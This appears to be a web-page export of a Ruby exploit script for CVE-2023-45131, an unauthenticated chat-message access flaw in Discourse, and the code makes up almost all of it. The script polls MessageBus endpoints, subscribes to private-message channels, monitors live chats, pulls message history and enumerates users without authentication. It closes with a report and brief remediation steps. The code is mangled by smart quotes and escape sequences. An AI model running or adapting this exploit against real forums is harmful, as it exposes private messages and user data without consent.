\n#!\/usr\/bin\/env ruby
\n
# Title : Discourse 3.1.1 – Unauthenticated Chat Message Access
\n
# CVE-2023-45131
\n
# CVSS: 7.5 (High)
\n
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n
# Author ibrahimsql @ https:\/\/twitter.com\/ibrahmsql
\n
# Date: 2023-12-14<\/p>\n
require ‘net\/http’
\n
require ‘uri’
\n
require ‘json’
\n
require ‘openssl’
\n
require ‘base64’<\/p>\n
class CVE202345131
\n
def initialize(target_url)
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@target_url = target_url.chomp(‘\/’)
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@results = []
\n
@message_bus_client_id = nil
\n
@csrf_token = nil
\n
end<\/p>\n
def run_exploit
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puts “\\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access”
\n
puts “[*] Target: #{@target_url}”
\n
puts “[*] CVSS Score: 7.5 (High)”
\n
puts “[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\\n\"\n\n # Test MessageBus access\n
test_messagebus_access
\n
test_chat_channel_enumeration
\n
test_private_message_access
\n
test_real_time_monitoring
\n
test_message_history_access
\n
test_user_enumeration_via_chat<\/p>\n
generate_report
\n
@results
\n
end<\/p>\n
private<\/p>\n
def test_messagebus_access
\n
puts “[*] Testing MessageBus unauthenticated access…”<\/p>\n
begin
\n
# Get MessageBus client ID
\n
uri = URI(“#{@target_url}\/message-bus\/poll”)<\/p>\n
response = make_request(uri, ‘GET’)<\/p>\n
if response && response.code == ‘200’
\n
begin
\n
data = JSON.parse(response.body)
\n
if data.is_a?(Array) && !data.empty?
\n
@message_bus_client_id = extract_client_id(response)<\/p>\n
@results << {\n
vulnerability: “MessageBus Access”,
\n
severity: “High”,
\n
description: “Unauthenticated access to MessageBus endpoint confirmed”,
\n
impact: “Can monitor real-time messages and notifications”,
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client_id: @message_bus_client_id
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}
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puts “[+] MessageBus access confirmed – Client ID: #{@message_bus_client_id}”
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return true
\n
end
\n
rescue JSON::ParserError
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# Try alternative endpoints
\n
test_alternative_messagebus_endpoints
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end
\n
end
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rescue => e
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puts “[!] Error testing MessageBus access: #{e.message}”
\n
end<\/p>\n
false
\n
end<\/p>\n
def test_alternative_messagebus_endpoints
\n
puts “[*] Testing alternative MessageBus endpoints…”<\/p>\n
endpoints = [
\n
“\/message-bus\/poll”,
\n
“\/message-bus\/subscribe”,
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“\/message-bus\/diagnostics”,
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“\/message-bus\/long-poll”
\n
]<\/p>\n
endpoints.each do |endpoint|
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begin
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uri = URI(“#{@target_url}#{endpoint}”)
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response = make_request(uri, ‘GET’)<\/p>\n
if response && response.code == ‘200’
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if response.body.include?(‘message-bus’) || response.body.include?(‘clientId’)
\n
@results << {\n
vulnerability: “Alternative MessageBus Endpoint”,
\n
severity: “Medium”,
\n
endpoint: endpoint,
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description: “Alternative MessageBus endpoint accessible”,
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impact: “Potential message monitoring capability”
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}
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puts “[+] Alternative endpoint accessible: #{endpoint}”
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end
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end
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rescue => e
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puts “[!] Error testing endpoint #{endpoint}: #{e.message}”
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end
\n
end
\n
end<\/p>\n
def test_chat_channel_enumeration
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puts “[*] Testing chat channel enumeration…”<\/p>\n
return unless @message_bus_client_id<\/p>\n
begin
\n
# Try to enumerate chat channels
\n
uri = URI(“#{@target_url}\/message-bus\/poll”)<\/p>\n
# Subscribe to chat channels
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data = {
\n
‘\/chat\/new-messages’ => -1,
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‘\/chat\/channel-status’ => -1,
\n
‘\/chat\/user-tracking’ => -1,
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‘clientId’ => @message_bus_client_id
\n
}<\/p>\n
response = make_request(uri, ‘POST’, data)<\/p>\n
if response && response.code == ‘200’
\n
begin
\n
messages = JSON.parse(response.body)<\/p>\n
if messages.is_a?(Array) && !messages.empty?
\n
chat_channels = extract_chat_channels(messages)<\/p>\n
if !chat_channels.empty?
\n
@results << {\n
vulnerability: “Chat Channel Enumeration”,
\n
severity: “High”,
\n
channels: chat_channels,
\n
description: “Enumerated accessible chat channels”,
\n
impact: “Can identify active chat channels and participants”
\n
}
\n
puts “[+] Chat channels enumerated: #{chat_channels.join(‘, ‘)}”
\n
end
\n
end
\n
rescue JSON::ParserError => e
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puts “[!] Error parsing chat channel response: #{e.message}”
\n
end
\n
end
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rescue => e
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puts “[!] Error enumerating chat channels: #{e.message}”
\n
end
\n
end<\/p>\n
def test_private_message_access
\n
puts “[*] Testing private message access…”<\/p>\n
return unless @message_bus_client_id<\/p>\n
begin
\n
# Try to access private messages
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uri = URI(“#{@target_url}\/message-bus\/poll”)<\/p>\n
# Subscribe to private message channels
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data = {
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‘\/private-messages’ => -1,
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‘\/chat\/private’ => -1,
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‘\/notification’ => -1,
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‘clientId’ => @message_bus_client_id
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}<\/p>\n
response = make_request(uri, ‘POST’, data)<\/p>\n
if response && response.code == ‘200’
\n
begin
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messages = JSON.parse(response.body)<\/p>\n
if messages.is_a?(Array)
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private_messages = extract_private_messages(messages)<\/p>\n
if !private_messages.empty?
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@results << {\n
vulnerability: “Private Message Access”,
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severity: “Critical”,
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messages: private_messages,
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description: “Accessed private chat messages without authentication”,
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impact: “Complete breach of private communication confidentiality”
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}
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puts “[+] Private messages accessed: #{private_messages.length} messages found”<\/p>\n
# Log sample messages (redacted)
\n
private_messages.first(3).each_with_index do |msg, idx|
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puts ” [#{idx + 1}] #{redact_message(msg)}”
\n
end
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end
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end
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rescue JSON::ParserError => e
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puts “[!] Error parsing private message response: #{e.message}”
\n
end
\n
end
\n
rescue => e
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puts “[!] Error accessing private messages: #{e.message}”
\n
end
\n
end<\/p>\n
def test_real_time_monitoring
\n
puts “[*] Testing real-time message monitoring…”<\/p>\n
return unless @message_bus_client_id<\/p>\n
begin
\n
puts “[*] Monitoring for 10 seconds…”<\/p>\n
start_time = Time.now
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monitored_messages = []<\/p>\n
while (Time.now – start_time) < 10\n
uri = URI(“#{@target_url}\/message-bus\/poll”)<\/p>\n
data = {
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‘\/chat\/new-messages’ => 0,
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‘clientId’ => @message_bus_client_id
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}<\/p>\n
response = make_request(uri, ‘POST’, data)<\/p>\n
if response && response.code == ‘200’
\n
begin
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messages = JSON.parse(response.body)<\/p>\n
if messages.is_a?(Array) && !messages.empty?
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new_messages = extract_new_messages(messages)
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monitored_messages.concat(new_messages)
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end
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rescue JSON::ParserError
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# Continue monitoring
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end
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end<\/p>\n
sleep(1)
\n
end<\/p>\n
if !monitored_messages.empty?
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@results << {\n
vulnerability: “Real-time Message Monitoring”,
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severity: “High”,
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messages_count: monitored_messages.length,
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description: “Successfully monitored real-time chat messages”,
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impact: “Can intercept live communications”
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}
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puts “[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted”
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else
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puts “[-] No real-time messages detected during monitoring period”
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end
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rescue => e
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puts “[!] Error during real-time monitoring: #{e.message}”
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end
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end<\/p>\n
def test_message_history_access
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puts “[*] Testing message history access…”<\/p>\n
begin
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# Try to access message history through various endpoints
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history_endpoints = [
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“\/chat\/api\/channels”,
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“\/chat\/api\/messages”,
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“\/chat\/history”,
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“\/api\/chat\/channels.json”
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]<\/p>\n
history_endpoints.each do |endpoint|
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uri = URI(“#{@target_url}#{endpoint}”)
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response = make_request(uri, ‘GET’)<\/p>\n
if response && response.code == ‘200’
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begin
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data = JSON.parse(response.body)<\/p>\n
if data.is_a?(Hash) && (data[‘messages’] || data[‘channels’] || data[‘chat’])
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@results << {\n
vulnerability: “Message History Access”,
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severity: “High”,
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endpoint: endpoint,
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description: “Accessed chat message history without authentication”,
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impact: “Historical chat data exposure”
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}
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puts “[+] Message history accessible via: #{endpoint}”
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end
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rescue JSON::ParserError
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# Check for HTML responses that might contain chat data
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if response.body.include?(‘chat’) && response.body.include?(‘message’)
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@results << {\n
vulnerability: “Message History Exposure”,
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severity: “Medium”,
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endpoint: endpoint,
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description: “Chat-related content found in response”,
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impact: “Potential information disclosure”
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}
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puts “[+] Chat-related content found in: #{endpoint}”
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end
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end
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end
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end
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rescue => e
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puts “[!] Error testing message history access: #{e.message}”
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end
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end<\/p>\n
def test_user_enumeration_via_chat
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puts “[*] Testing user enumeration via chat features…”<\/p>\n
begin
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# Try to enumerate users through chat-related endpoints
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user_endpoints = [
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“\/chat\/api\/users”,
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“\/chat\/users.json”,
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“\/api\/chat\/users”,
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“\/chat\/members”
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]<\/p>\n
user_endpoints.each do |endpoint|
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uri = URI(“#{@target_url}#{endpoint}”)
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response = make_request(uri, ‘GET’)<\/p>\n
if response && response.code == ‘200’
\n
begin
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data = JSON.parse(response.body)<\/p>\n
if data.is_a?(Hash) && (data[‘users’] || data[‘members’])
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users = extract_users_from_chat(data)<\/p>\n
if !users.empty?
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@results << {\n
vulnerability: “User Enumeration via Chat”,
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severity: “Medium”,
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endpoint: endpoint,
\n
users_count: users.length,
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sample_users: users.first(5),
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description: “Enumerated chat users without authentication”,
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impact: “User information disclosure”
\n
}
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puts “[+] Users enumerated via #{endpoint}: #{users.length} users found”
\n
end
\n
end
\n
rescue JSON::ParserError
\n
# Continue with next endpoint
\n
end
\n
end
\n
end
\n
rescue => e
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puts “[!] Error testing user enumeration: #{e.message}”
\n
end
\n
end<\/p>\n
def extract_client_id(response)
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# Extract client ID from response headers or body
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if response[‘X-MessageBus-Client-Id’]
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return response[‘X-MessageBus-Client-Id’]
\n
end<\/p>\n
# Try to extract from response body
\n
begin
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data = JSON.parse(response.body)
\n
if data.is_a?(Hash) && data[‘clientId’]
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return data[‘clientId’]
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end
\n
rescue JSON::ParserError
\n
end<\/p>\n
# Generate a random client ID
\n
SecureRandom.hex(16)
\n
end<\/p>\n
def extract_chat_channels(messages)
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channels = []<\/p>\n
messages.each do |message|
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if message.is_a?(Hash)
\n
if message[‘channel’] && message[‘channel’].include?(‘\/chat\/’)
\n
channels << message['channel']\n
elsif message[‘data’] && message[‘data’].is_a?(Hash)
\n
if message[‘data’][‘channel_id’]
\n
channels << \"Channel #{message['data']['channel_id']}\"\n
end
\n
end
\n
end
\n
end<\/p>\n
channels.uniq
\n
end<\/p>\n
def extract_private_messages(messages)
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private_msgs = []<\/p>\n
messages.each do |message|
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if message.is_a?(Hash)
\n
if message[‘channel’] && (message[‘channel’].include?(‘\/private’) || message[‘channel’].include?(‘\/chat\/private’))
\n
private_msgs << {\n
channel: message[‘channel’],
\n
data: message[‘data’],
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timestamp: message[‘timestamp’] || Time.now.to_i
\n
}
\n
elsif message[‘data’] && message[‘data’].is_a?(Hash)
\n
if message[‘data’][‘message’] || message[‘data’][‘content’]
\n
private_msgs << {\n
content: message[‘data’][‘message’] || message[‘data’][‘content’],
\n
user: message[‘data’][‘user’] || message[‘data’][‘username’],
\n
timestamp: message[‘data’][‘timestamp’] || Time.now.to_i
\n
}
\n
end
\n
end
\n
end
\n
end<\/p>\n
private_msgs
\n
end<\/p>\n
def extract_new_messages(messages)
\n
new_msgs = []<\/p>\n
messages.each do |message|
\n
if message.is_a?(Hash) && message[‘data’]
\n
new_msgs << {\n
channel: message[‘channel’],
\n
data: message[‘data’],
\n
timestamp: Time.now.to_i
\n
}
\n
end
\n
end<\/p>\n
new_msgs
\n
end<\/p>\n
def extract_users_from_chat(data)
\n
users = []<\/p>\n
if data[‘users’] && data[‘users’].is_a?(Array)
\n
data[‘users’].each do |user|
\n
if user.is_a?(Hash)
\n
users << {\n
username: user[‘username’],
\n
id: user[‘id’],
\n
name: user[‘name’]
\n
}
\n
end
\n
end
\n
elsif data[‘members’] && data[‘members’].is_a?(Array)
\n
data[‘members’].each do |member|
\n
if member.is_a?(Hash)
\n
users << {\n
username: member[‘username’] || member[‘user’],
\n
id: member[‘id’] || member[‘user_id’]
\n
}
\n
end
\n
end
\n
end<\/p>\n
users
\n
end<\/p>\n
def redact_message(message)
\n
if message.is_a?(Hash)
\n
content = message[:content] || message[‘content’] || message[:data] || ‘N\/A’
\n
user = message[:user] || message[‘user’] || ‘Unknown’
\n
“User: #{user}, Content: #{content.to_s[0..50]}…”
\n
else
\n
message.to_s[0..50] + “…”
\n
end
\n
end<\/p>\n
def make_request(uri, method = ‘GET’, data = nil, headers = {})
\n
begin
\n
http = Net::HTTP.new(uri.host, uri.port)
\n
http.use_ssl = (uri.scheme == ‘https’)
\n
http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
\n
http.read_timeout = 10
\n
http.open_timeout = 10<\/p>\n
request = case method.upcase
\n
when ‘GET’
\n
Net::HTTP::Get.new(uri.request_uri)
\n
when ‘POST’
\n
req = Net::HTTP::Post.new(uri.request_uri)
\n
if data
\n
if data.is_a?(Hash)
\n
req.set_form_data(data)
\n
else
\n
req.body = data
\n
req[‘Content-Type’] = ‘application\/json’
\n
end
\n
end
\n
req
\n
end<\/p>\n
# Set headers
\n
request[‘User-Agent’] = ‘Mozilla\/5.0 (compatible; DiscourseMap\/2.0)’
\n
request[‘Accept’] = ‘application\/json, text\/javascript, *\/*; q=0.01’
\n
request[‘X-Requested-With’] = ‘XMLHttpRequest’
\n
headers.each { |key, value| request[key] = value }<\/p>\n
response = http.request(request)
\n
return response
\n
rescue => e
\n
puts “[!] Request failed: #{e.message}”
\n
return nil
\n
end
\n
end<\/p>\n
def generate_report
\n
puts “\\n” + “=”*60
\n
puts “CVE-2023-45131 Exploitation Report”
\n
puts “=”*60
\n
puts “Target: #{@target_url}”
\n
puts “Vulnerabilities Found: #{@results.length}”<\/p>\n
if @results.empty?
\n
puts “[+] No chat message access vulnerabilities detected”
\n
else
\n
puts “\\n[!] VULNERABILITIES DETECTED:”
\n
@results.each_with_index do |result, index|
\n
puts “\\n#{index + 1}. #{result[:vulnerability]}”
\n
puts ” Severity: #{result[:severity]}”
\n
puts ” Description: #{result[:description]}”
\n
puts ” Impact: #{result[:impact]}”<\/p>\n
if result[:messages_count]
\n
puts ” Messages Found: #{result[:messages_count]}”
\n
end
\n
if result[:channels]
\n
puts ” Channels: #{result[:channels].join(‘, ‘)}”
\n
end
\n
if result[:endpoint]
\n
puts ” Endpoint: #{result[:endpoint]}”
\n
end
\n
end<\/p>\n
puts “\\n[!] REMEDIATION:”
\n
puts “1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later”
\n
puts “2. Implement proper authentication for MessageBus endpoints”
\n
puts “3. Review and restrict access to chat-related APIs”
\n
puts “4. Monitor MessageBus access logs for suspicious activity”
\n
puts “5. Consider disabling chat features if not required”
\n
end<\/p>\n
puts “\\n” + “=”*60
\n
end
\n
end<\/p>\n
# Run the exploit if called directly
\n
if __FILE__ == $0
\n
if ARGV.length != 1
\n
puts “Usage: ruby #{$0} ”
\n
puts “Example: ruby #{$0} https:\/\/discourse.example.com”
\n
exit 1
\n
end<\/p>\n target_url = ARGV[0]
\n
exploit = CVE202345131.new(target_url)
\n
exploit.run_exploit
\n
end\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Discourse 3.1.1 – Unauthenticated Chat Message Access Exploit ID EDB-ID:52375 Type exploitdb Published 2025-07-22T00:00:00 Modified 2025-07-22T00:00:00 CVSS Information CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,40,15,13,7,11,5],"class_list":["post-8647","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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